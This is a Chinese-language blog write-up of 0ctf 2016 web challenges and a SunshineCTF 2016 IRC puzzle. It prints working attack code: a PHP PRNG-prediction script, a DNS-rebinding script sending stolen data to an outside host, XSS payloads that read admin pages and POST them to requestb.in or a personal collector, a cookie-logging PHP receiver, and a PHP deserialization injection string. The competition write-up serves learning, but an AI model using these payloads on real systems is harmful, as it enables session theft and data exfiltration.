0ctf2016 && sunshinectf2016 writeup

2023-02-21 14:19:09 浏览数 (1)

上个周末打了个叼叼的0ctf,结果“学院派”的愤怒就是看什么题目都是一篇篇文献…web狗简直虐了一地,顺便附上sunshine ctf misc300的writeup(一个没有web题目的比赛Orz)…

0ctf2016

rand2

题目是队友做的,不是很懂,需要碰撞出随机数,在1mins以内。 先给2个别人的writeup: http://www.isecer.com/ctf/0ctf_2016_web_writeup_rand_2.html https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/rand_2

首先是题目的源码:

代码语言:javascript复制
<?php
include('config.php');
session_start();

if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
    session_destroy();
    die('timeout');
} else {
    $_SESSION['time'] = time();
}

echo rand();
if (isset($_GET['go'])) {
    $_SESSION['rand'] = array();
    $i = 5;
    $d = '';
    while($i--){
        $r = (string)rand();
        $_SESSION['rand'][] = $r;
        $d .= $r;
    }
    echo md5($d);
} else if (isset($_GET['check'])) {
    if ($_GET['check'] === $_SESSION['rand']) {
        echo $flag;
    } else {
        echo 'die';
        session_destroy();
    }
} else {
    show_source(__FILE__);
}

随机数在Keep-live下是可以被预测的。 http://drops.hduisa.cn/archives/365/

预测方法: state[i] = state[i-3] state[i-31] return state[i] >> 1

还有文献: https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf

代码语言:javascript复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import re
import hashlib
import time

cookie = {"PHPSESSID": "2okdf7k5e637e1fms75t0a1hg4"}
heade = {"Connection": "Keep-Alive"}
#url = "http://127.0.0.1/test.php"
url = "http://202.120.7.202:8888"
url2 = "http://202.120.7.202:8888/?go="

session = requests.session()
def test():
	ran_num = []
	for i in range(31):
		req = session.get(url, cookies=cookie, headers=heade)
		cont = req.content
		try:
			num = re.findall(r'(. )<code>',cont)[0]
		except:
			print i
			return 0
		ran_num.append(int(num))
	req = session.get(url2, cookies=cookie, headers=heade)
	cont = req.content
	ran_num.append(int(cont[1:-32]))
	md5_num = cont[-32:-1]
	#print md5_num
	go_num = []
	for x in range(3):
		y = 32   x 
		tem_num1 = ran_num[y-3] ran_num[y-31]
		bin_num = bin(tem_num1)
		tem_num2 = int(bin_num[0:2]   bin_num[3:], 2)
		go_num.append([str(tem_num1), str(tem_num2)])
	for x in range(2):
		e = x   4
		add_list = []
		for y in range(2):
			tem_num1 = int(go_num[x][y])   ran_num[e]
			bin_num = bin(tem_num1)
			tem_num2 = int(bin_num[0:2]   bin_num[3:], 2)
			add_list.append(str(tem_num1))
			add_list.append(str(tem_num2))
		go_num.append(add_list)			

	print go_num
	# for x in range(5):
	# 	req = session.get(url, cookies=cookie, headers=heade)
	# 	cont = req.content
	# 	num = re.findall(r'(. )<code>',cont)[0]
	# 	print num
	for a in go_num[0]:
		for b in go_num[1]:
			for c in go_num[2]:
				for d in go_num[3]:
					for e in go_num[4]:
						now_num = a   b   c   d   e
						now_md5 = hashlib.md5(now_num).hexdigest()
						if md5_num == now_md5:
							print "yes"
							break
	x = 32
	now_num = ""
	# for i in range(5):
	# 	y = x   i
	# 	num1 = ran_num[y - 3]   ran_num[y - 31]
	# 	bin_num = bin(num1)
	# 	#if len(bin_num) >= 32:
	# 	#	num2 = num1
	# 	#else:
	# 	num2 = int(bin_num[0:2]   bin_num[3:], 2)
			
			
	# 	#now_num  = str(num)
	# 	req = session.get(url, cookies=cookie, headers=heade)
	# 	cont = req.content
	# 	num3 = re.findall(r'(. )<code>',cont)[0]
	# 	ran_num.append(int(num3))
	# 	#print num3, "===>",num2
	# 	print num3, "===>", num1," and " ,num2
	
	
	
def suc():
	global ran_num
	num5 = ran_num[-5:]
	url3 = "http://202.120.7.202:8888/?"

	for x in num5:
		url3  = "check[]=" str(x)   "&"
	req = session.get(url3, cookies=cookie, headers=heade)
	print req.content
#print now_md5
#print md5_num
if __name__ == '__main__':
	res = test()
	# while not res:
	# 	try:
	# 		res = test()
	# 	except:
	# 		res = False
	# 	print "yyy"
	# 	time.sleep(1)
	# suc()

队友告诉我说切片切错了,所以没出flag,OrZ…….

Monkey (跨同源策略)

首先是一个md5碰撞,本以为很麻烦,后来发现其实就是相当于验证码类似的东西。

代码语言:javascript复制
import random
import hashlib
str = 10000

while 1:
	m2 = hashlib.md5()   
	m2.update(repr(str)) 
	if (m2.hexdigest()[0:6]=='bfb93d'):
		print str 
		break
	str =1

然后尝试通过<img><iframe>读东西,发现由于同源策略怎么都读不到。 看了别人的writeup:

http://www.isecer.com/ctf/0ctf_2016_web_writeup_monkey.html https://w00tsec.blogspot.jp/2016/03/0ctf-2016-write-up-monkey-web-4.html

知道是通过一些神秘的手段,首先是要通过ajax CORS跨域,然后把域名解析到127.0.0.1,然后记得放在8080端口,在他打开并停留的时候,解析,就可以了Orz(麻麻问我为什么跪着打字) 服务器脚本类似于这样

代码语言:javascript复制
<script src="jquery.min.js"></script>
<script>
function getdata(){
    $.ajax({
        type: "GET",
        url:'http://xxx.com:8080/secret',
        async: true,
        error: function(request) {
            getdata();
        },
        success: function(data) {
            $.get('http://yourdomain/get.php?data=' data);
        }
    });
}
getdata();
</script>
`

guestbook1 (bypass xss filter)

题目完全是被卡住了,是用了两个黑魔法过判断的,复现了很久才成功。

最叼的是这个人通过猜测几乎复现了题目的源码,有兴趣可以去试试。 稍微测试可以发现<>'"被过滤,然后username会被放在id和内容两个地方,text这里有一个关于debug的判断

代码语言:javascript复制
<body>
    <div><h3>to be checked</h3></div>
    <script>var debug=false;</script>
    <div id="dsadsa">
        <h2>dsadsa</h2>
    </div>
    <div id="text">dsadsa</div>
    <script>
    data = "dsadsa"
    t = document.getElementById("text")
    if(debug){
        t.innerHTML=data
    }else{
        t.innerText=data
    }
    </script>



</body>

有个提示是boss使用的是chrome,本来以为chrome这个是常规环境,其实这里用了一个黑魔法。 关于chrome xss auditor Before rendering the response in the Document Object Model presented to the user, XSS auditor searches for instances of (malicious) parameters sent in the original request. If a detection is positive, the auditor is triggered and the response is “rewritten” to a non-executable state in the browser DOM.

或许你英文不好,我也是看的半知半解,上面这话的意思就是chrome会检测你的请求,如果有类似于<script>var debug=false</script>这样的请求,chrome会把这个初始化忽视掉,我们不仅需要忽视这个变量,还需要初始化一下,这里就需要username这里会把传入的值放入id的问题了。

我们需要构造<div id="debug">至于这里为什么构造id就可以初始化debug的问题,也是比较神奇的。

http://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables

没有很看懂,但是,大概明白debug被初始化一个对象,这样可以调用Orz。

前面的问题都解决了,下面就是要构造domxss请求了。

代码语言:javascript复制
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://requestb.in/xxxx",false);xmlhttp.send();'
out = []
for s in payload:
 	out.append(str(ord(s)))

print "\x3cimg src=a onerror=\u0022eval(String.fromCharCode(" ", ".join(out) "))\u0022\x3e"

由于单引号和双引号被过滤,所以需要用eval string.fromCharCode的方式来过请求了。

代码语言:javascript复制
Secret:
random_characters_must_be_unique<script>var debug=false;</script>

Username:
debug

Message:
x3cimg src=a onerror=u0022eval(String.fromCharCode(120, 109, 108, 104, 116, 116, 112, 61, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 111, 112, 101, 110, 40, 34, 71, 69, 84, 34, 44, 34, 104, 116, 116, 112, 58, 47, 47, 114, 101, 113, 117, 101, 115, 116, 98, 46, 105, 110, 47, 120, 120, 120, 120, 34, 44, 102, 97, 108, 115, 101, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 115, 101, 110, 100, 40, 41, 59))u0022x3e

这里注意会被转义,所以要传入才是一个 先写个脚本生成message(拖个朋友的上来,直接post出去):

代码语言:javascript复制
#!/bin/env python
#-*- encoding: utf-8 -*-

import os
import requests
import random
import string

def post(s,u,m):
	r = requests.session()
	if len(u) < 1:
		u = 'debug'
	_data = {
		"secret":s,
		"username":u,
		"message":m,
		"action":"submit"
	}
	res = r.post("http://202.120.7.201:8888/message.php", data=_data)
	return res.url

def rstr(n=10):
	return string.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], n)).replace(' ','')

def m2s(m):
	r = ''
	for x in m:
		r  = ',' str(x)
	return r[1:]

if __name__ == '__main__':
	s = '<script>var debug=false;</script>'
	payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/show.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://xss.lazysheep.cc",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv=" escape(r));'
	l = m2s(map(ord, payload))
	p2 = '\\x3cimg src=a onerror=\\u0022eval(String.fromCharCode('   l   '))\\u0022\\x3e'
	print post(rstr() s, 'debug', p2)

得到了一些东西:

代码语言:javascript复制
<html> <!-- change log: use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie always check /admin/server_info.php for load balancing to do: files and folders permission control, disallow other users write file into uploads folder --> <body> <script>var debug=false;</script> <div id=""> <h2></h2> </div> <div id="text"></div> <script> data = "" t = document.getElementById("text") if(debug){ t.innerHTML=data }else{ t.innerText=data } </script> </body> </html>

他是说让我们去检查/admin/server_info.php这个文件。打开看是phpinfo()

因为cookie是http-only的,所以通过js的方式是得不到的,但是可以通过request中是始终存在的。

代码语言:javascript复制
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://requestb.in/xxxx",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv=" escape(r));'

这样就可以得到他的Phpinfo()

代码语言:javascript复制
<td class="e">_COOKIE["flag"]</td><td class="v">0ctf{httponly_sometimes_not_so_secure}</td></tr> <tr><td class="e">_COOKIE["admin"]</td><td class="v">salt_is_admin</td></tr>

最后这一步不知道为什么没办法复现,朋友给我了他的php接受方式

代码语言:javascript复制
<?php
$data = "get : ".urldecode(urldecode($_SERVER['QUERY_STRING']));
$data .= "rnpost : ".urldecode(urldecode(file_get_contents("php://input")));
$data .= "rnip : ".$_SERVER["REMOTE_ADDR"];
$data .= "rnREFERER : ".$_SERVER['HTTP_REFERER'];
$data .= "rnHTTP_USER_AGENT : ".$_SERVER['HTTP_USER_AGENT'];
$data .= "rnREQUEST_METHOD : ".$_SERVER['REQUEST_METHOD'];
$data .= "rnCookies : ".implode(' ',$_COOKIES);

if(strlen($data)>10){
	file_put_contents("get.txt","### ".date("Y-m-d H:m:s")." ###rn".$data."rn", FILE_APPEND);
}
exit();

?>

这样就可以接收到get.txt,打开看就get了…

piapiapia(php反序列化逃逸字符)

先给别人的writeup http://www.isecer.com/ctf/0ctf_2016_web_writeup_piapiapia.html

源码就懒得传了,有兴趣可以问我要,通读一遍发现问题可能出在序列化上面,先看看过滤

代码语言:javascript复制
public function filter($string) {
    $escape = array(''', '\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

感觉问题在update.php上

代码语言:javascript复制
$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

有一个有问题的判断是nickname的判断

代码语言:javascript复制
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

研究了下如果传入的是数组的话,这里的两个判断都能过

正常传入的话,是正常的语句

代码语言:javascript复制
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

序列化室友严格的长度的,如果长度错误,解序列化就是会报错停止。 我们需要试图构造一个nickname[]=xxx";}s:5:"photo";s:10:"config.php这样如果溢出,就能读取config.php的信息。

这里有个问题一直没想明白,看了writeup才知道这里是通过filter里的where->hacker会溢出一个字符,这样如果传入和需要溢出的一样长的where,就会溢出一个完整的请求,就不会报错。

代码语言:javascript复制
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

get!

guestbook2

writeup还没出,先占坑。

代码语言:javascript复制
total 100 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 . 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 .. 
drwxr-xr-x 2 root root 4096 Mar 7 14:25 bin 
drwxr-xr-x 3 root root 4096 Mar 7 14:26 boot 
drwxr-xr-x 15 root root 4100 Mar 13 13:11 dev 
drwxr-xr-x 96 root root 4096 Mar 13 13:20 etc 
-r--r----- 1 flag flag 29 Mar 9 13:59 flag 
-r-sr-x--- 1 flag www-data 8709 Mar 9 14:52 flag_reader 
drwxr-xr-x 5 root root 4096 Mar 9 13:59 home 
lrwxrwxrwx 1 root root 32 Mar 7 14:26 initrd.img -> boot/initrd.img-4.2.0-30-generic lrwxrwxrwx 1 root root 32 Mar 7 22:07 initrd.img.old -> boot/initrd.img-4.2.0-27-generic drwxr-xr-x 21 root root 4096 Mar 9 00:17 lib 
drwxr-xr-x 2 root root 4096 Mar 7 22:07 lib64 
drwx------ 2 root root 16384 Mar 7 22:07 lost found 
drwxr-xr-x 3 root root 4096 Mar 7 22:07 media 
drwxr-xr-x 2 root root 4096 Apr 11 2014 mnt 
drwxr-xr-x 2 root root 4096 Feb 18 07:12 opt 
dr-xr-xr-x 129 root root 0 Mar 13 13:11 proc 
drwx------ 10 root root 4096 Mar 14 07:03 root 
drwxr-xr-x 19 root root 720 Mar 14 22:22 run 
drwxr-xr-x 2 root root 4096 Mar 7 14:25 sbin 
drwxr-xr-x 2 root root 4096 Feb 18 07:12 srv 
dr-xr-xr-x 13 root root 0 Mar 13 14:29 sys 
drwxrwxrwt 2 root root 4096 Mar 15 13:09 tmp 
drwxr-xr-x 10 root root 4096 Mar 7 22:07 usr 
drwxr-xr-x 13 root root 4096 Mar 8 23:24 var 
lrwxrwxrwx 1 root root 29 Mar 7 14:26 vmlinuz -> boot/vmlinuz-4.2.0-30-generic 
lrwxrwxrwx 1 root root 29 Mar 7 22:07 vmlinuz.old -> boot/vmlinuz-4.2.0-27-generic

发现了flag,但是读不了,看到有个flag_reader,跑一下就好。

权限比较高,翻翻别的

代码语言:javascript复制
total 20 drwxr-xr-x 5 root root 4096 Mar 9 13:59 . 
drwxr-xr-x 22 root root 4096 Mar 9 14:53 .. 
drwxr-xr-x 2 flag flag 4096 Mar 9 13:59 flag 
drwxrwx--- 2 root guestbook 4096 Mar 14 06:29 guestbook 
drwxr-xr-x 3 ops ops 4096 Mar 7 14:36 ops

gusetbook没东西,看看本目录吧

代码语言:javascript复制
total 36 drwxr-xr-x 5 root root 4096 Mar 13 14:02 . 
drwxr-xr-x 3 root root 4096 Mar 8 23:23 .. 
drw-r-x--- 2 root www-data 4096 Mar 13 14:16 admin 
-rw-r-x--- 1 root www-data 193 Mar 6 00:58 config.php 
-rw-r-x--- 1 root www-data 1578 Mar 10 11:05 index.php 
-rw-r-x--- 1 root www-data 684 Feb 27 23:11 message.php 
-rw-r-x--- 1 root www-data 1077 Mar 9 23:03 show.php 
drw-r-x--- 2 root www-data 4096 Mar 6 01:12 static 
drwx-wx-wx 3 root www-data 4096 Mar 15 13:25 uploads

sunshine ctf2016

感觉挺有意思的一个比赛,是佛罗里达大学举办的ctf,所有的题目不是misc就是pwn,感觉比较坑,但是由于大部分题目比较基础,挺有意思的,尤其是做了一道比较有意思的misc题目。

Floridaman found this cool new invite only internet relay chat service but he can’t figure out how to actually get an invite… since you’re not a part of the Florida education system, maybe you can figure it out. http://4.31.182.246:4567

题意大概是说佛罗里达man想进一个聊天室,但是不知道怎么获得邀请,打开站发现有个地方输入freenode上的频道和密码,那么就输入一个吧,在freenode上进入聊天室发现进来了一个陌生人说

输入!flag 这样的证明自己,稍微测试了一下发现输入会有人私聊你还差多少个字符,开始以为这个地方是类似于截断匹配的,但是后来发现好像不是这样的。

先fuzz一下发现要输入12个字符,然后包括Flagrsd810这几个,然后经过长达1个小时的测试发现,每个字符后面可以跟的字符不同,唯有F是后面可以跟除自己以外的数字,8是一定要放在最后面,发现了一些规律后就测试吧…

代码语言:javascript复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"

a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
	cont = "PRIVMSG #ddog :!flag F"   x
	data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
	req =requests.post(url, data=data, cookies=cookie)

经过反复的测试可以测试出如果可以把这10个字母按顺序放进去,可是居然还有2个重复的呢,又是一顿fuzzing

代码语言:javascript复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

cookie = {"__cfduid": "d489d3a9976cf50fa718050f32c4607201457848341","PAH":"alpha3"}
url = "https://webchat.freenode.net/dynamic/alpha/e/p?r=ea69282e77352a34d3696d90247dbc17&t=827"

a = "Flagrsd810"
#a = "OPQRSTUVWXYZ"
for x in a:
	cont = "PRIVMSG #ddog :!flag Fl0rdda1sgr8"
	data = {"s": "d3542650d359032fe7deecf5f4479e5d", "c": cont}
	req =requests.post(url, data=data, cookies=cookie)

然后发现居然是佛罗里达….mdzz….这就是文化差异啊…..

0 人点赞